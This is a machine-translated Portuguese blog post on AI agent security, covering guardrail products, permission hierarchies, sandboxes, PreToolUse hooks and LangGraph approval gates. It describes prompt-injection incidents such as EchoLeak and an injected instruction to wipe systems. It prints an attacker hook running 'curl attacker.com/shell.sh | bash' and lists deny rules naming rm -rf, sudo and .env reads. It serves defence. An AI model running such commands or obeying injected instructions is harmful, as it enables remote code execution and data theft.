Edge of Context
Buscar

· Atualizado

[!NOTE] Tradução automática Este artigo foi traduzido automaticamente a partir da versão original em inglês.

AI Segurança de Agentes em 2026: Restrições, Permissões, Sandboxes e MCP Ameaças

Parte 4 da série Engenharia da pilha Agentic

Parte 3 Termina na fronteira da ferramenta: o modelo propõe uma ação e a ferramenta devolve uma observação. Este artigo insere uma política entre estes dois eventos, acompanhando a ação até às credenciais, ficheiros, redes e efeitos colaterais externos.

AI A segurança de agentes é mais abrangente do que LLM Segurança. Os primeiros produtos de proteção analisavam a entrada e a saída de cada chamada ao modelo. Eles eram capazes de filtrar texto tóxico, remover dados pessoais, bloquear tentativas de “jailbreak” e rejeitar respostas fora do assunto. Essa barreira de segurança era útil enquanto o modelo só conseguia retornar texto.

Os ciclos de ferramenta incluem sistemas de ficheiros, shells, servidores MCP e credenciais. Isso ampliou o modelo de ameaças, passando de texto inseguro para ações inseguras. Os seis incidentes analisados a seguir não foram falhas que um filtro de saída mais eficaz pudesse evitar, pois o sistema envolvido já tinha sido comprometido.

TL;DR: Os filtros de conteúdo analisam o texto existente em torno de uma chamada ao modelo. A segurança dos agentes controla também as ações tool calls propostas, as credenciais, os ficheiros, o acesso à rede e os efeitos colaterais irreversíveis. Os incidentes descritos neste artigo ocorreram fora dos limites que um filtro de texto consegue impor. Uma pilha de políticas prática combina permissões, ganchos pré-existentes nas ferramentas, sandboxes do sistema operativo, escalonamento para intervenção humana, credenciais com escopo definido e um registo de auditoria.

AI pilha de segurança de agentes

A arquitetura prática para 2026 não consiste num único mecanismo de controlo. Trata-se, antes, de um conjunto de limites definidos ao redor do ciclo de processamento.

CamadaO que é controladoExemplo de falha que é detetada
Filtros de conteúdoTexto de entrada e saída inseguroSaída tóxica, vazamento de PII, completações que violam as políticas
Escada de permissõesQuais ferramentas, caminhos, APIs e escopos o agente pode utilizarUm resumidor que tenta escrever para sistemas de produção
Gancho de política pré-ferramentaSe esta ação específica deve ser executada agoraComando shell construído a partir de conteúdo obtido e não fidedigno
SandboxO que a ferramenta consegue interagir nas camadas de sistema operativo e redeExfiltração de ficheiros, comprometimento de dependências, injeção de comandos
Porta humanaAções irreversíveis ou de alto impactoEnvio de e-mails, transferência de fundos, deploy para produção
MCP e escopo de tokensPara qual servidor e público uma credencial é válidaReutilização de tokens num servidor de ferramentas não intencional
Registo de auditoriaO que aconteceu, quem o aprovou e porquê?Investigação de incidentes após uma execução autónoma prolongada

A regra útil é simples: os filtros de conteúdo determinam se o modelo disse algo inseguro; a segurança do agente verifica se o sistema tem permissão para realizar a próxima ação.

Os filtros de conteúdo geridos cobrem a camada de texto. Os controlos restantes devem ser integrados na política da aplicação, na gestão de identidades e na infraestrutura.

Por que a segurança de agentes AI é diferente da segurança LLM

Bharani Subramaniam e Martin Fowler estabeleceram a estrutura inicial no início de 2025 Padrões Emergentes na Criação de Produtos de GenAI. A sua observação foi limitada e direta:

“Nos sistemas tradicionais, podíamos avaliar a correção principalmente através de testes… Nos sistemas baseados em LLM, deparamo-nos com um sistema que já não se comporta de forma determinística.”

A avaliação de saída determina se a resposta de um modelo cumpre os critérios estabelecidos numa rubrica. Um modelo de ameaças para agentes deve também abranger tool calls, comandos de shell, escrita em ficheiros, credenciais e solicitações de rede. Essas ações ultrapassam limites que um avaliador de saídas não consegue impor.

LLM As regras de segurança envolvem uma chamada ao modelo; os guardiões do agente envolvem o ciclo.

Simon Willison cunhou a noção da forma do risco específico do agente em junho de 2025 com o trifeta letal:

“A tríade letal de capacidades é: acesso aos seus dados privados; exposição a conteúdos não confiáveis; e a capacidade de comunicar externamente de forma que possa ser utilizada para roubar os seus dados. Se o seu agente combinar estas três funcionalidades, um atacante pode facilmente enganá‑lo para que aceda aos seus dados privados e os envie para esse atacante.”

Muitos agentes úteis combinam estas capacidades: acesso à caixa de entrada, recuperação de informações na Web e uma ferramenta de mensagens; ou acesso a repositórios, leitura de problemas e envio de solicitações de pull request. Um mecanismo de proteção de conteúdo verifica se o modelo gerou texto inseguro. O sistema “Trifecta” avalia se uma entrada não confiável pode levar o sistema a divulgar dados através de uma ação permitida.

A tríade letal

A versão estrutural do mesmo argumento encontra‑se no preprint Parallax de Joel Fokou (arXiv 2604.12986, submetido a 14 de abril de 2026, sem revisão por pares). A afirmação central:

“O sistema que raciocina sobre ações deve ser estruturalmente incapaz de as executar, e o sistema que executa as ações deve ser estruturalmente incapaz de as racionalizar, sendo que existe um validador independente e imutável inserido entre os dois.”

Não é necessário aceitar os valores de avaliação do artigo para analisar o seu aspeto estrutural. Vários frameworks atuais implementam partes da mesma abordagem de separação:

Estes sistemas mantêm o julgamento do modelo por trás de uma fronteira de execução determinística. Os controlos específicos variam, mas o componente responsável pela execução de um comando não depende da opinião do modelo sobre se esse comando é seguro.

Existe uma disciplina complementar que Alessandro Pignati descreveu de forma muito precisa em Janeiro de 2026: o Princípio da Menor Agência. O Conceito de Menor Privilégio questiona o que esta identidade pode aceder?; o Princípio da Menor Agência pergunta o que é que este agente tem permissão para decidir?. Os privilégios restringem as credenciais; a agência, por sua vez, limita o alcance de um plano, mesmo quando as credenciais são válidas. A lista OWASP’s Top 10 para aplicações Agentic classifica a Agência Excessiva como uma das dez falhas de categoria. O Princípio da Menor Agência é a disciplina de projeto que a impede. Um agente capaz de resumir a sua caixa de entrada provavelmente não precisa de direitos de commit no seu monorepo. Continuamos a encontrar configurações em que isso acontece.

Quais são os limites abrangidos por LLM

As LLM funcionam como mecanismos de controlo para garantir que o trabalho realizado com o modelo seja significativo. Elas analisam a entrada, o texto recuperado e a saída, bloqueando, censurando, corrigindo ou sinalizando conteúdos que violam regras pré-definidas. Os produtos listados abaixo diferem em termos de implementação e alcance, mas nenhum deles substitui a verificação de autorização que é realizada antes de um tool call.

Restrições do NVIDIA NeMo Guardrails

O mais rígido em termos de especificações: uma orquestração framework que abrange cinco tipos de fluxo (entrada, diálogo, recuperação de informações, execução e saída), contando com a sua própria DSL — Colang, uma linguagem semelhante ao Python utilizada para definir fluxos de diálogo, intenções de utilizador e mensagens de bots. É possível gerir as funcionalidades básicas através de Python + YAML, mas a lógica mais complexa relacionada com o diálogo é desenvolvida em Colang — daí o termo “rígido em termos de especificações”. Documentação disponível em docs.nvidia.com/nemo/guardrails.

from nemoguardrails import LLMRails, RailsConfig

config = RailsConfig.from_path("./config")
rails = LLMRails(config)
response = rails.generate(
    messages=[{"role": "user", "content": "Hello"}]
)

NeMo’s repositório É explícito quanto ao seu modelo de ameaças: “vulnerabilidades comuns LLM, como jailbreaks e injeções prompt.” É igualmente claro em relação ao seu escopo: “As restrições integradas podem ou não ser adequadas para um determinado cenário de produção… os desenvolvedores devem colaborar com a sua equipa interna de aplicações para garantir que essas restrições cumprem os requisitos.” O que isto significa na prática: o NeMo irá monitorizar o que o modelo diz. O que o agente faz (quais ferramentas ele utiliza, quais argumentos envia, o que lê do sistema de ficheiros) fica a cargo do utilizador.

Meta Llama Guard 4

Um classificador de conteúdo puro de 12B parâmetros, obtido por poda do Llama-4-Scout, alinhado com a taxonomia de riscos do MLCommons (13 categorias de dano, além do abuso por interpretação de código, conforme estabelecido) cartão de modelo). A Meta é invulgarmente franca quanto aos seus limites:

“Algumas categorias de risco podem exigir conhecimentos factuais e atualizados para serem avaliadas de forma completa… Por fim, como um LLM, o Llama Guard 4 pode ser vulnerável a ataques adversariais ou ataques prompt injection que possam contornar ou alterar a sua finalidade original: consulte o Llama Prompt Guard 2 para detetar ataques prompt.”

A Meta lança um produto separado para proteger o seu classificador de conteúdo contra prompt injection. Se essa afirmação soa como uma admissão estrutural, então é mesmo.

Restrições AI

Um registo de validadores. É possível compor mais de 60 validadores Hub (dados PII através do Presidio, JailbreakDetect, CompetitorCheck e verificações de proveniência), cada um com modos de falha definidos. raise | fix | filter | refrain | reask | noop (guardrailsai.com). Não existe um modelo de ameaças unificado; a cobertura corresponde à união dos validadores instalados. Vantagem: cobertura flexível, dependente dos validadores que escolher. Desvantagem: não há proteção fora dos validadores que são instalados.

Lakera Guard

O atual SaaS API, treinado com dezenas de milhões de amostras de ataques recolhidas a partir de Gandalf. Promete filtrar a entrada e a saída em busca de ataques do tipo “prompt… bem como de vazamentos de dados.” A versão gratuita permite 10.000 solicitações por mês; os preços para empresas não são transparentes.

Restrições do AWS Bedrock

A configuração padrão da empresa, caso já esteja a utilizar o Bedrock. ApplyGuardrail Funciona com qualquer modelo, seja ele do Bedrock ou não:

import boto3

brt = boto3.client("bedrock-runtime")
resp = brt.apply_guardrail(
    guardrailIdentifier="gr-xxxxxxxxxxxx",
    guardrailVersion="2",
    source="INPUT",
    content=[{"text": {"text": "user question",
                        "qualifiers": ["guard_content"]}}],
)

Publicado preço: 0,15por1.000unidadesdetextoparafiltrosdeconteuˊdooutoˊpicosbloqueados,0,15 por 1.000 unidades de texto para filtros de conteúdo ou tópicos bloqueados, 0,10 para filtros de PII ou fundamentação contextual. Uma unidade de texto corresponde a até 1.000 caracteres.

Segurança de Conteúdo do Azure AI

Envia Prompt Shields como um endpoint unificado que “detecta e bloqueia ataques de entrada de utilizador adversarial… ameaças diretas e indiretas.” O Azure também potencial candidato: “Não é possível utilizar a Segurança de Conteúdo do Azure AI para detetar imagens ilegais de exploração infantil,” e a qualidade multilíngue está limitada a oito idiomas avaliados.

Moderação da OpenAI e Limites da OpenAI

omni-moderation-latest é a linha de base multimodal gratuita. Separadamente, openai-guardrails-python documentação em guardrails.openai.com) A resposta da OpenAI para o framework é um pipeline de três fases (pré-voo, entrada e saída), que inclui deteção de fugas de segurança, deteção de alucinações por meio de FileSearch, identificação de conteúdo NSFW e PII com o Presidio, além do uso do LLM como elemento de avaliação. GuardrailAgent conecta os fios aos Agentes SDK.

from guardrails import GuardrailsOpenAI, GuardrailTripwireTriggered

client = GuardrailsOpenAI(config="guardrail_config.json")
try:
    resp = client.responses.create(model="gpt-5", input="...")
except GuardrailTripwireTriggered as e:
    print(f"blocked: {e}")

A fronteira comum

Duas observações que se aplicam a todos os sete.

Primeiramente, existem pouquíssimos dados publicados sobre latência e taxa de transferência. A Bedrock, a Azure e a Lakera divulgam os preços, mas não oferecem garantias relativas à latência nos cenários mais críticos. A Meta também não fornece nenhuma garantia de endpoint hospedado para o Llama Guard. A NVIDIA disponibiliza o NeMo Guardrails como software que o utilizador deve hospedar, pelo que a latência depende do modelo e da infraestrutura utilizados. Em vez de inferir o custo a partir dos preços dos produtos, deve medir cada verificação síncrona no caminho crítico.

Em segundo lugar, e este é o ponto central deste artigo, nenhum destes produtos afirma cobrir a política da camada de chamadas a ferramentas, a autenticação MCP, a extração em vários passos através de conteúdo recuperado, o sequestro dos objetivos do agente por meio de ficheiros de configuração, ou a execução de código que ocorre antes mesmo de o modelo ser invocado. Eles apenas filtram tokens. Os agentes atuam fora do fluxo de geração do modelo, no tool calls, nos ficheiros e na rede, onde nenhum classificador de tokens consegue detetá-los.

AI Ameaças à segurança de agentes: seis incidentes e o OWASP ASI Top 10

A distinção entre a filtragem de texto e a proteção da execução deixou de ser um tema puramente teórico em meados de 2025. Os seis incidentes listados abaixo afetaram áreas como recuperação de dados, configurações, credenciais, instalação de pacotes ou execução de pipelines CI. Um classificador de conteúdo ainda pode detetar uma sequência de caracteres suspeita, mas os mecanismos de controlo que bloqueiam diretamente esses caminhos encontram‑se nas ferramentas, nas identidades, no sandbox e nas fronteiras da cadeia de abastecimento.

EchoLeak — CVE-2025-32711, CVSS 9.3

Revelado pela Aim Labs em junho de 2025 contra o Microsoft 365 Copilot, sendo o relatório técnico atualmente disponibilizado na Cato Networks (que absorveu a equipa de investigação da Aim Security) sob a assinatura de Itay Ravia, ex-líder da Aim Labs.relatório técnico). Um e-mail cuidadosamente elaborado, redigido como instruções dirigidas ao destinatário humano, conseguiu passar pelo XPIA (o filtro integrado da Microsoft que procura ataques de injeção prompt nos inputs do Copilot). De lá, foi inserido na camada de recuperação de informações do Copilot — a parte do sistema que analisa os documentos do utilizador para encontrar contexto às respostas — através de uma tática que os investigadores denominam RAG-spraying: o atacante implanta a mesma instrução maliciosa em vários documentos indexados, de modo a garantir que a recuperação de dados inclua, quase inevitavelmente, pelo menos um deles no contexto do modelo. Uma vez dentro, o Copilot incorporou obedientemente os dados mais sensíveis da sessão num link em formato Markdown que apontava para uma imagem num domínio controlado pelo atacante. A pré-visualização do Teams API, que é executada num domínio já considerado confiável pelas políticas de navegador da própria Microsoft, carregou automaticamente esse URL da imagem, entregando assim os dados ao atacante. Sem necessidade de cliques. A Aim Labs designou esta classe de ataques como “LLM Scope Violation”: o modelo ultrapassa uma fronteira que nunca deveria ter cruzado, utilizando apenas operações que cada sistema considera legítimas.

Cada passo parecia legítimo quando analisado isoladamente. O e-mail estava endereçado a um humano. A operação de recuperação obteve o documento que deveria ter sido recuperado. O link em Markdown foi exibido da forma habitual para tais links. A busca pela imagem ocorreu num domínio incluído na lista de permissões. O XPIA não tinha nada para assinalar, pois nada, por si só, era suscetível de alerta. O sistema foi comprometido. O modelo, no entanto, não.

Amazon Q Developer VS Code v1.84.0 — Julho de 2025

A AWS disponibilizou uma versão comprometida após um atacante ter inserido um ficheiro malicioso-prompt através de um token do CodeBuild do GitHub com permissões excessivas.conselho consultivo). O comando prompt injetado instruiu o agente a “limpar um sistema até um estado quase como de fábrica e eliminar recursos do sistema de ficheiros e na nuvem”. Um erro de sintaxe impediu a execução em tempo real nas ~950.000 instalações. A AWS revogou as credenciais, removeu o código e lançou a versão v1.85.0. A carga útil falhou devido a um erro de sintaxe, e não porque algum mecanismo de segurança a tenha bloqueado.

Servidor Azure MCP — CVE-2026-32211, CVSS 9.1

O exemplo mais flagrante da camada incorreta. feed de CVE Regista-o como “Autenticação em falta para função crítica no servidor Azure MCP, o que permite a um atacante não autorizado divulgar informações através da rede.” O MCP SDK não dispõe de autenticação integrada. Este servidor esqueceu-se de a adicionar. Nenhum filtro de conteúdo é nunca ativado, uma vez que o modelo não está envolvido no processo. O atacante consegue comunicar diretamente com a ferramenta.

Claude Code CVE-2025-59536 — CVSS 8.7

A vulnerabilidade canónica de confiança na configuração do agente. Aviv Donenfeld e Oded Vanunu da Check Point divulgado que “configurações definidas pelo repositório, estabelecidas através de” .mcp.json e .claude/settings.json os ficheiros podem ser explorados por um atacante para substituir a aprovação explícita do utilizador… ao definir o enableAllProjectMcpServers opção para true.”

A cadeia de ataques merece ser analisada com cuidado:

  1. A vítima clona um repositório não fidedigno.
  2. A SessionStart o hook é executado curl attacker.com/shell.sh | bash E antes de o diálogo de confiança do Claude Code aparecer.
  3. .mcp.json Aprova automaticamente servidores MCP não fidedignos.
  4. ANTHROPIC_BASE_URL (O CVE associado, CVE-2026-21852, com pontuação CVSS de 5,3), redireciona silenciosamente todas as chamadas ao Claude API, incluindo os tokens Bearer, para um host controlado pelo atacante.

Corrigido no Claude Code 1.0.111 e 2.0.65 respetivamente (com recomendação). GHSA-ph6w-f82w-28w6). O resumo da Check Point é o que deve ser lembrado: “as defesas prompt injection tradicionais… não oferecem nenhuma proteção.” O código do atacante é executado na sua máquina (o que os especialistas em segurança chamam de execução remota de código, ou RCE), antes mesmo de o modelo ser invocado.

Axios 1.14.1 — 31 de março de 2026

Responsável pela manutenção jasonsaayman no pós-análise: _“foram publicadas duas versões maliciosas do axios (1.14.1 e 0.30.4) no repositório npm através da minha conta comprometida. Ambas as versões injetaram uma dependência denominada” plain-crypto-js@4.2.1 “que instalou um cavalo de Troia de acesso remoto no macOS, Windows e Linux.” Um cavalo de Troia de acesso remoto é um malware que abre silenciosamente uma porta dos fundos — permitindo que o atacante execute comandos, leia ficheiros e observe o que o utilizador digita a partir de outro local na Internet. Janela de exposição: aproximadamente três horas. Atribuição: UNC1069 (Sapphire Sleet), segundo o grupo de inteligência contra ameaças da Google. Cada agente de programação que por acaso foi executado npm install Nessa janela, foi introduzida a porta dos fundos. O modelo nunca esteve envolvido. Nesta categoria de incidentes, a falha deve-se à execução na cadeia de abastecimento, e não ao comportamento do modelo.

Apropriação Indevida de Tags em Ações Trivy — GHSA-69fq-xp46-6x23, 19 de março de 2026

Um atacante reescreveu 76 das 77 etiquetas de versão em aquasecurity/trivy-action — o repositório que inúmeros sistemas CI pipelines utilizam para a realização de scans de segurança — de modo que as etiquetas passaram a apontar para malware capaz de roubar credenciais em vez do código real do Trivy. Eles substituíram todas as 7 etiquetas existentes. setup-trivy da mesma forma, e foi enviado um v0.69.4 binário que recolhia variáveis de ambiente (palavras-passe, chaves API, tokens — os dados contidos em /proc/<pid>/environ em Linux), diretamente dos executores do GitHub ActionsAlerta Aqua). Qualquer agente de programação que tenha sido executado npm install ou um passo de varredura de segurança executado automaticamente durante o período ativou o payload, uma vez que os agentes confiam nas etiquetas da mesma forma que os seres humanos, ou seja, plenamente.

A edição de 2026 do OWASP ASI Top 10

OWASP (o Open Worldwide Application Security Project, a organização sem fins lucrativos responsável pela lista canônica das 10 principais vulnerabilidades web que servem de referência para a maioria dos programas de segurança) previu esta tendência. A sua Iniciativa de Segurança Agentic é um grupo de trabalho dedicado especificamente a agentes impulsionados por LLM, e em 9 de dezembro de 2025 publicou o Agentic As 10 principais iniciativas de segurança para 2026: um catálogo ordenado das dez categorias de vulnerabilidade que distinguem os sistemas de agente de aplicações LLM clássicas.

A lista merece ser lida com atenção. Ela baseia-se nos locais onde ocorreram agrupamentos de incidentes no mundo real, cruzando esses dados com os modos de falha mais críticos identificados pela comunidade de segurança em geral nas implementações de agentes em produção. Considere-a como uma lista de verificação do que um modelo de ameaças para agentes modernos deve abranger:

OWASP ASI Top 10 para 2026

Os filtros de conteúdo podem contribuir para os problemas ASI01 e ASI06. As categorias restantes exigem controles relacionados com a identidade, políticas de ferramentas, gestão da memória, orquestração, monitorização ou gestão da cadeia de abastecimento. O EchoLeak corresponde ao ASI01. O Amazon Q está associado aos ASI04 e ASI02. O Azure MCP representa o ASI03. O problema Claude Code CVE-2025-59536 abrange os ASI05, ASI04 e ASI03. O Axios e o Trivy pertencem à categoria ASI04. Esta correspondência ilustra por que motivo o modelo de ameaças deve ir além das entradas e saídas do modelo.

A permissão é uma infraestrutura, e não prompt

É aqui que as regras de segurança deixam de ser um produto autónomo para passarem a fazer parte de um subsistema integrado no harness. Três sistemas lançados em abril de 2026 (OpenAI Agents SDK, Codex CLI e Claude Code) ilustram como é, na prática, a interface de gestão de políticas de produção. Todos eles aplicam controlos de permissão diretamente no código, sem dependerem do facto de o modelo ser particularmente cuidadoso.

Agentes OpenAI SDK

O SDK separa o harness do compute. As ferramentas hospedadas em MCP assumem require_approval — uma string ("always" / "never") ou um dicionário por ferramenta — além de um on_approval_request callback que é acionado quando uma ferramenta fica bloqueada. Filtragem granular de ferramentas (tool_filter) está disponível nas variantes do servidor local.MCPServerStdio, MCPServerStreamableHttp, MCPServerSse) se precisar de:

from agents import Agent, HostedMCPTool

agent = Agent(
    name="Ops",
    tools=[HostedMCPTool(
        tool_config={
            "type": "mcp",
            "server_label": "github",
            "server_url": "https://mcp.example.com",
            "require_approval": {"delete_repo": "always",
                                  "list_issues": "never"},
        },
        on_approval_request=lambda r:
            "approve" if r.tool_name == "list_issues" else "reject",
    )],
)

O callback de aprovação é código. A política de aprovação por ferramenta também é código. Pode ler este ficheiro, pode testá‑lo e pode fazer comparações de diferenças entre versões. Nada disso se aplica a um system prompt que indica “por favor, tenha cuidado com o ambiente de produção.”

Codex CLI e a camada de políticas geridas

O código da OpenAI harness inclui um configuração gerida arquivo que os departamentos de TI enviam para os Macs dos colaboradores através do seu sistema de gestão de dispositivos (o mesmo mecanismo utilizado para instalar certificados ou definições de VPN). O arquivo encontra-se em /etc/codex/requirements.toml e atua como uma camada de restrição rígida — regras que as definições a nível de projeto não podem ser anuladas, independentemente do que um desenvolvedor escreva na sua própria configuração:

[[rules.prefix_rules]]
pattern = [{ token = "rm" }, { any_of = ["-rf", "-fr"] }]
decision = "forbidden"
justification = "Recursive force-delete prohibited by IT policy"

Dois detalhes de design. prefix_rules.decision aceita apenas "prompt" ou "forbidden", nunca "allow". Um projeto não pode conceder a si mesmo uma permissão que a camada gerida proíba. E as listas de permissões MCP são indexadas tanto pelo nome quanto pela identidade (cadeia de comando ou URL), portanto um projeto não pode afirmar ser github-mcp e apontar para o servidor de um atacante.

A hierarquia de permissões do Claude Code

O Claude Code publica uma ordem de avaliação com seis etapas para cada tool call (documentação): deny → ask → PreToolUse hooks → allow → mode → canUseTool. Os ganchos têm prioridade sobre os modos, e um permissionDecision: "deny" um hook impede a execução mesmo sob bypassPermissions.

Ordem de avaliação de permissões do Claude Code

Os modos alternam-se default → acceptEdits → plan com Shift+Tab. auto, bypassPermissions, e dontAsk Ativa-se sob condições de entrada específicas que podem levar à bloqueio por parte da camada de políticas gerida pela empresa. Trata‑se de algo mais do que uma simples verificação da correção de um ficheiro de configuração; é, na verdade, uma máquina de estados com regras de precedência, publicada para que a equipa de segurança possa analisá‑las.

Três raios de explosão num único ficheiro

Eis a estrutura de uma configuração de permissões no estilo Codex com três perfis:

# ~/.codex/config.toml
approval_policy = "auto"
sandbox_mode = "workspace-write"

[profiles.ci]
approval_policy = "read-only"
sandbox_mode = "read-only"

[profiles.release]
approval_policy = "full-access"
sandbox_mode = "workspace-write"

[mcp_servers.github]
command = "gh-mcp"
args = ["--readonly"]

Três perfis, três raios de explosão, sem nenhum prompt a instruir o agente a ter cuidado. Se o agente tentar realizar alguma ação fora do seu perfil, o mecanismo de segurança a nível de SO sandbox impede isso. No macOS, utiliza‑se o “seatbelt”; no Linux, combina‑se “bubblewrap” com “seccomp”; no Windows, aplicam‑se tokens restritos. A opinião do modelo não é levada em consideração.

A aplicação da Sandbox é uma questão relacionada com o SO

O kernel é o responsável pelo trabalho real aqui. Cada sistema operativo fornece um conjunto de ferramentas diferente, e as duas interfaces de linha de comando nem sempre acedem à mesma componente:

PlataformaClaude CodeCodex CLI
macOSCinto de segurança via sandbox-exec com um perfil SBPL (Seatbelt Profile Language)Cinto de segurança via sandbox-exec -p
Linuxproxy de rede bubblewrap + socatbubblewrap + seccomp (Landlock legado via use_legacy_landlock)
WindowsWSL2 obrigatórioTokens nativos restritos / AppContainer + ACL + IDs de SID de capacidade

Eles concordam quando o SO oferece apenas uma opção (cinto de segurança ou plástico bolha) e divergem nos casos em que existem várias alternativas. O Claude Code ignora o Windows e redireciona o utilizador para o WSL2. Já o Codex é fornecido como aplicação nativa para Windows sandbox. De qualquer forma, a aplicação das regras ocorre no kernel, e não no modelo.

O caminho Linux do Codex utiliza quatro bloqueios a nível de kernel: PR_SET_NO_NEW_PRIVS (o processo nunca pode obter privilégios adicionais, mesmo que tente), um filtro seccomp (o kernel recusa diretamente a maioria das chamadas de sistema; neste caso, tudo o que abre um socket de rede, exceto os Unix locais), um ambiente isolado e renovado /proc (o processo não consegue aceder ao resto da máquina), e RLIMIT_CORE=0 (sem ficheiros de crash dump, portanto nada é vazado por esse meio). O Windows funciona em dois modos, unelevated (a processo com tokens restritos que perde privilégios, mas continua a ser executado como o utilizador) e elevated (a utilizador dedicado sandbox isolado por trás de regras de firewall), além de pequenos executáveis falsos colocados anteriormente no sistema PATH Assim, o agente tenta executar-se. curl ou wget O sistema acaba por recorrer ao interceptador em vez da ferramenta real. Existe toda uma subárea de engenharia dedicada a isso, e o modelo nunca entra em cena. É aí que se realiza o trabalho verdadeiro.

Opções de isolamento para além do Claude Code e do Codex

Se estiver a desenvolver o seu próprio agente, “sandbox” revela-se ser um termo genérico que abrange estas soluções. As opções de código aberto situam‑se num espectro que vai de envoltórios de namespace leves, por um lado, até microVMs completas, por outro; a escolha que fizer depende do grau de confiança que tem no código que é executado no seu interior.

Isolação de luz — mesmo kernel, menos privilégios:

Isolação do kernel da aplicação — o agente comunica com um kernel falso:

Isolamento total da VM — um kernel dedicado por sandbox:

Plataformas — o que se pode alugar em vez de desenvolver:

Escolha o nível de isolamento com base no nível de confiança do código, nas fronteiras de tenant, no acesso à rede, nos dados do host e no custo de recuperação. Os controlos de namespace e seccomp são adequados para ferramentas internas confiáveis. Código gerado por LLM e pacotes não confiáveis exigem uma barreira mais robusta, como gVisor, Kata ou uma microVM, devendo ser seguidos de testes dirigidos aos caminhos de fuga e exfiltração no seu próprio modelo de ameaças.

O Claude Code e o Codex são escolhidos a partir do mesmo menu que todos os outros utilizam. Eles apenas o apresentam de forma diferente.

Ganchos PreToolUse como políticas programáveis

Os modos e listas de permissões tratam dos casos simples: “permitir que o agente edite ficheiros, mas não execute bash”, “negar tudo o que se assemelhe a” rm -rfElas falham quando a política necessita de lógica real. Pretende-se bloquear git push somente quando o branch estiver mainQuer impedir qualquer edição que afete um ficheiro que corresponda a uma expressão regular secreta. Pretende limitar o número de chamadas à shell por sessão ou redirecionar todas as invocações de ferramentas para o seu registo de auditoria central (o SIEM, o sistema de gestão de informações e eventos de segurança que a sua equipa de segurança já monitoriza).

Nada disso cabe numa lista de permissões estática. É para isso que servem os ganchos — comandos de shell que o Claude Code executa em pontos específicos do ciclo de vida das chamadas à ferramenta, com a capacidade de inspecionar a chamada pendente e retornar uma resposta estruturada indicando permissão ou negação. O Claude Code expõe uma dúzia de eventos desse ciclo de vida (a lista completa encontra-se em os documentos), e um deles reorganiza todo o resto: um PreToolUse gancho que retorna permissionDecision: "deny" bloqueia uma ferramenta independentemente do modo.

Este é o formato das definições:

{
    "permissions": {
        "defaultMode": "acceptEdits",
        "deny": ["Bash(rm -rf:*)", "Bash(sudo:*)", "Read(.env*)"]
    },
    "hooks": {
        "PreToolUse": [
            {
                "matcher": "Bash",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/pre-bash-firewall.sh"
                    }
                ]
            },
            {
                "matcher": "Edit|Write",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/protect-paths.sh"
                    }
                ]
            }
        ]
    }
}

Um “hook” pode ser um script shell de cinco linhas ou um motor de políticas completo. O formato do retorno é o que importa:

{
    "hookSpecificOutput": {
        "permissionDecision": "deny",
        "permissionDecisionReason": "writes outside workspace prohibited"
    }
}

O modelo recebe uma negação estruturada. O reasoning loop proveniente de Parte 1 lida com isso da mesma forma que qualquer outra observação de ferramenta: a recusa torna‑se parte do contexto, o agente replaneia e o ciclo continua. É por este motivo, pequeno mas importante, que insisto em dizer que as permissões são uma infraestrutura. Elas fazem parte do mesmo mecanismo que lida com erros 500 provenientes de ferramentas HTTP. Não se trata de um fluxo de trabalho de segurança separado que precise ser adicionado posteriormente.

Um anti-padrão comum consiste em escrever um system prompt que indica “não elimine nenhum ficheiro sem confirmação explícita do utilizador”, enviar o agente e confiar nessa instrução como mecanismo de controlo. Um prompt ou um resultado de ferramenta corrompido pode contornar essa instrução. O modelo não é um motor de políticas; ele consegue apenas corresponder ao padrão que foi definido ou a um padrão fornecido por um atacante.

A aprovação humana funciona apenas como mecanismo de escalonamento

A camada de filtragem de conteúdo é executada em paralelo com o modelo e monitoriza o que este produz. As hierarquias de permissão são acionadas antes da ferramenta e verificam o que esta tenta fazer. A terceira camada, aquela que deteta o que as duas primeiras deixaram passar, é o interveniente humano. Quando implementada corretamente, o HITL funciona como um canal de escalonamento. Quando mal concebida, torna‑se uma caixa de diálogo que é clicada na maioria das vezes, cerca de 93%.

LangGraph disponibiliza a primitiva de pausa/recontinuação. A HumanLayer encapsula o canal de aprovação, e os dados de utilização da Anthropic demonstram por que é necessário medir o número e a qualidade das escaladas.

A primitiva LangGraph

do LangGraph interrupt() + Command(resume=value) Pausa um grafo, persiste o seu estado através do checkpointer configurado e retoma a execução com um valor fornecido por um utilizador. Três detalhes de execução determinam se essa retoma é segura:

“Quando a execução é retomada (depois de fornecer a entrada solicitada), o runtime reinicia todo o nó desde o início — ele não continua a partir da linha exata onde interrupt foi denominado.”

Três restrições decorrem desse comportamento de reinício:

1. Efeitos secundários antes interrupt() deve ser idempotente. Quando o utilizador responde, todo o nó é executado novamente a partir do início, e não a partir de interrupt() Linha. Portanto, se o seu nó enviar um e-mail, aguardar a aprovação e, em seguida, retornar “enviado”, ao retomar a execução o e-mail é enviado uma segunda vez. Correção: coloque os efeitos colaterais depois da interrupção ou torne-os seguros para serem repetidos (remova duplicatas de chaves, utilize operações upsert em vez de insert, armazene em cache pelo ID da mensagem).

2. As interrupções são correspondidas aos retomos por índice, e não por nome. Se um único nó tiver dois interrupt() chamadas, o LangGraph associa-as a Command(resume=...) valores na ordem em que são disparados. Qualquer ramificação que altere o número de interrupções executadas (uma if um salto de um elemento no resumo — ou seja, um laço que itera um número diferente de vezes — fará com que os índices fiquem desalinhados, causando uma falha do sistema.

3. As cargas úteis devem ser JSON-serializáveis. A informação sobre a pausa é gravada num checkpointer (Postgres, Redis, SQLite) para que o agente consiga sobreviver a uma reinicialização do processo. Objetos Python brutos, datetime, setClases personalizadas: sem necessidade de esses trajectos de ida e volta. Converta-as em dicionários e tipos primitivos antes de entregar qualquer coisa. interrupt().

Os três padrões canónicos:

# (a) Approval gate
@tool
def send_email(to, subject, body):
    resp = interrupt({"action": "send_email", "to": to,
                      "subject": subject, "body": body})
    if resp.get("action") == "approve":
        return smtp_send(to, subject, body)
    return "Email cancelled"

# (b) Edit-and-continue
def review_node(state):
    edited = interrupt({"content": state["generated_text"]})
    return {"generated_text": edited}

# (c) Mid-run state correction — loop until valid
def get_age_node(state):
    prompt = "What is your age?"
    while True:
        answer = interrupt(prompt)
        if isinstance(answer, int) and answer > 0:
            return {"age": answer}
        prompt = f"'{answer}' is not valid. Please enter a positive number."

o resumo graph.invoke(Command(resume={"action": "approve"}), config=cfg). O LangGraph 0.4+ suporta a retomada de múltiplas interrupções com base em dicionários para ramificações paralelas, o que é fundamental quando o seu agente se divide em vários fluxos simultâneos.

HumanLayer: a aprovação como um produto

